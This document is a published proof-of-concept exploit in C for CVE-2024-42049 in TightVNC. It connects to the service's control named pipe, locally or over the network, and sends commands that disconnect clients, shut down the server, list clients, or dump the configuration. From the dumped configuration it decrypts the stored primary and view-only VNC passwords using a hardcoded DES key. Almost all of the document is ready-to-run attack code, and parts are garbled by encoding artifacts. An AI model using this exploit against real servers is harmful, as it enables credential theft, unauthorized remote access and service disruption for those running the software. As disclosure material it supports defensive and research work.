# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
# Date: # Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
# Date: 06/09/2025
# Exploit Author: Ionut Zevedei (This email address is being protected from spambots. You need JavaScript enabled to view it.)
# Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
# Vendor Homepage: https://www.tightvnc.com/
# Software Link: https://www.tightvnc.com/download.php
# Version: 2.8.83
# Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
# CVE : CVE-2024-42049

#include <windows.h>=20
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include "descrypt.h"

#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
#define BUFFER_SIZE 512

#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
#define TVNC_CMD_GET_CLIENT_LIST 0x04
#define TVNC_CMD_SHUTDOWN_SERVER 0x07
#define TVNC_CMD_GET_SERVER_INFO 0x11
#define TVNC_CMD_GET_CONFIG 0x12

const unsigned int commands[6] =3D {
TVNC_CMD_DISCONNECT_ALL_CLIENTS,
TVNC_CMD_GET_CLIENT_LIST,
TVNC_CMD_SHUTDOWN_SERVER,
TVNC_CMD_GET_SERVER_INFO,
TVNC_CMD_GET_CONFIG,
};

unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };

void get_bytes(unsigned int data, unsigned char* out) {
out[0] =3D GETBYTE(data, 3);
out[1] =3D GETBYTE(data, 2);
out[2] =3D GETBYTE(data, 1);
out[3] =3D GETBYTE(data, 0);
}

// printf is wonky when printing passwords later
void print_passwd(unsigned char* passwd) {
for (int i =3D 0; i < 8; i++) {
printf("%c", passwd[i]);
}
printf("\n");
}

void print_error(unsigned long error_code) {
unsigned char* buffer;
=20
// damn it windows...
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_code,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &buffer,
0, NULL);

printf("[error]: %s\n", buffer);
}

void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
unsigned char primary_passwd[8] =3D { 0x00 };
unsigned char view_only_passwd[8] =3D { 0x00 };

printf("\n\tencrypted primary password: ");
for (int i =3D 0; i < 8; i++) {
primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
printf("%02x ", primary_passwd[i]);
}
printf("\n\tencrypted view-only password: ");
for (int i =3D 0; i < 8; i++) {
view_only_passwd[i] =3D buffer_ptr[offset + i];
printf("%02x ", view_only_passwd[i]);
}


unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };

decrypt(primary_passwd_decrypted, view_only_passwd,
sizeof(primary_passwd_decrypted), des_key);
decrypt(view_only_passwd_decrypted, primary_passwd,
sizeof(view_only_passwd_decrypted), des_key);

printf("\n\tdecrypted primary password: ");
print_passwd(primary_passwd_decrypted);
printf("\tdecrypted view-only password: ");
print_passwd(view_only_passwd_decrypted);
}

BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
unsigned long pipe_mode;
BOOL result =3D FALSE;
printf("[~] opening pipe %s...\n", pipe_name);

while (1) {
*handle_ptr =3D CreateFile(
pipe_name,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
NULL
);

if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
printf("[+] pipe opened\n");
break;
}

if (GetLastError() !=3D ERROR_PIPE_BUSY) {
printf("[-] could not open pipe\n");
print_error(GetLastError());
return FALSE;
}

printf("[~] waiting for named pipe to be available - if this hangs the =
pipe server might be dead.\n");

WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
}

pipe_mode =3D PIPE_READMODE_BYTE;
result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);

if (!result) {
printf("[-] failed setting pipe read mode\n");
print_error(GetLastError());
return result;
}

return result;
}

int main(int argc, char* argv[]) {

HANDLE pipe_handle =3D NULL;
unsigned char message[8] =3D { 0x00 };
unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
BOOL result =3D FALSE;
unsigned long bytes_read, bytes_written;
unsigned int cmd_index =3D 0;
unsigned int offset =3D 30;

if (argc < 3) {
printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
printf("offset - optional: default is 30 - change as needed\n");
printf("commands:\n");
printf("\t1 - disconnect all clients\n");
printf("\t2 - get client list\n");
printf("\t3 - shutdown server\n");
printf("\t4 - get server info\n");
printf("\t5 - get server config\n");
printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
rol\n");
printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
return 0;
}

char* stop =3D NULL;
cmd_index =3D strtol(argv[1], &stop, 10);

if (stop =3D=3D '\0') {
return 0;
}

cmd_index--;

if (argc =3D=3D 4) {
stop =3D NULL;
offset =3D strtol(argv[3], &stop, 10);

if (offset =3D=3D 0 || stop =3D=3D '\0') {
return 0;
}
}

if (!open_pipe(&pipe_handle, argv[2])) {
goto exit;
}

printf("[i] sending command...\n");
=20
get_bytes(commands[cmd_index], message);
result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);

if (!result) {
printf("[-] failed writing to pipe\n");
print_error(GetLastError());
goto exit;
}

printf("[~] message sent; waiting for reply\n");

do {
result =3D ReadFile(
pipe_handle,
buffer,
BUFFER_SIZE * sizeof(unsigned char),
&bytes_read,
NULL
);

if (!result && GetLastError() !=3D ERROR_MORE_DATA)
break;

printf("[+] got %d bytes back!\n", bytes_read);
printf(" hex: \n\t");

for (int i =3D 0; i < bytes_read; i++) {
printf("%02x ", buffer[i]);
}

printf("\n char: \n\t");
for (int i =3D 0; i < bytes_read; i++) {
printf("%c", buffer[i]);
}
printf("\n\n");

if (cmd_index =3D=3D 4) {
printf("\n[~] command is get config, attempting to decrypt passwords =
using offset %d...\n", offset);
decrypt_passwords(&buffer, offset);
}

memset(buffer, 0, BUFFER_SIZE);
} while (!result);

if (!result)
{
printf("[-] failed reading from pipe\n");
print_error(GetLastError());
goto exit;
}

printf("\n[+] done\n\n");

exit:
if (pipe_handle !=3D NULL) {
CloseHandle(&pipe_handle);
}

return 0;
}